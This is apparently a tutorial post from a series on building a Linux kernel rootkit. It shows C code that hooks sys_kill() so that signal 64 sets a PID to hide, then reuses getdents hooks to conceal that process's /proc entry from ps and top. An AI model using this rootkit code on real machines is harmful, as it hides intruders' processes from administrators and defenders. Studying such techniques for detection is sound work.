Now that we know how to hide directories (see last time), we can also hide processes! This is because nearly all userspace tools that give us information about processes just read the contents of the /proc/ filesystem. We can check this by looking at the output of strace -e openat ps or strace -e openat top. So, if we hide directories with the name of the PID we want to keep secret, then these userspace tools won’t notice that the process is there!

There is a slight caveat that we will hide all files or directories with the name of the PID we’re hiding. The likelihood of this being spotted is pretty low.

Chosing which PID to hide

PIDs are very unpredictable, so we don’t want to hardcode one into our rootkit. Therefore we need to come up with a way to tell our module which PID we want to hide. The easiest way to do this is to just hook sys_kill() again because it’s already built to send a PID to the kernel! We can implement a custom signal handler again (like in Part 3 and Part 5). The only difference will be that we will write the PID passed to signal 64 into a global hide_pid variable, rather than just ignoring it.

The hook for sys_kill() should look something like this (as always, I’m only illutrating the hook that uses the more modern pt_regs method of calling - more info can be found in Part 2):

/*
 * hide_pid will store the string representation of the PID we're hiding
 */
char hide_pid[NAME_MAX];

/*
 * Declaration for the real sys_kill() function
 */
static asmlinkage long (*orig_kill)(const struct pt_regs *);

/*
 * The syscall hook
 */
asmlinkage int hook_kill(const struct pt_regs *regs)
{
    /*
     * Pull out the arguments we need from the pt_regs struct
     */
    pid_t pid = regs->di;
    int sig = regs->si;

    /*
     * If the signal is 64, then print a message to the kernel buffer and
     * write the PID as a string to hide_pid
     */
    if (sig == 64)
    {
        printk(KERN_INFO "rootkit: hiding process with pid %d\n", pid);
        sprintf(hide_pid, "%d%", pid);
        return 0;
    }

    /*
     * Otherwise, just return the real sys_kill
     */
    return orig_kill(regs);
}

Hiding The PID

Now that we can tell the rootkit which PID we’d like to hide, we have to actually hide it! The way we do that is by taking the hooks for sys_getdents() and sys_getdents64() from Part 6, and replacing the line that compares current_dir->d_name to the PREFIX with one that compares it to hide_pid - see line 72 of the new rootkit.c:

if ( (memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0)
        && (strncmp(hide_pid, "", NAME_MAX) != 0) )
{
    /* Hide the directory with name in hide_pid */
}

Note that we also have to make sure that hide_pid isn’t empty! If we don’t then the module will start off by hiding every directory on the system. This is because strlen(hide_pid) will be 0, so the call to memcmp() will always return true.

And that’s pretty much all there is to it! Once we put together the rest of the kernel module (Ftrace, etc), we can build it and try it out. The full source (complete with headers and Makefile) is on the repo.

Let’s try it out!

hideprocess

Success! PID 43218 gets hidden from the output of ps - and we didn’t even have to try that hard! This might seem like a simple technique to pull off, but it’s only because we’re repurposing two different syscall hooks that we’ve already covered: sys_kill() in Part 3 and sys_getdents()/sys_getdents64() in Part 6.

The only downside is that we can only hide one PID at a time. Support for more than one PID is left for you to try. Be warned though, it’s not as simple as it may sound!

Hope you enjoyed this one - it’s a little shorter than usual but that’s only because there isn’t much new here, just a clever combination of techniques we’ve already covered.

Until next time…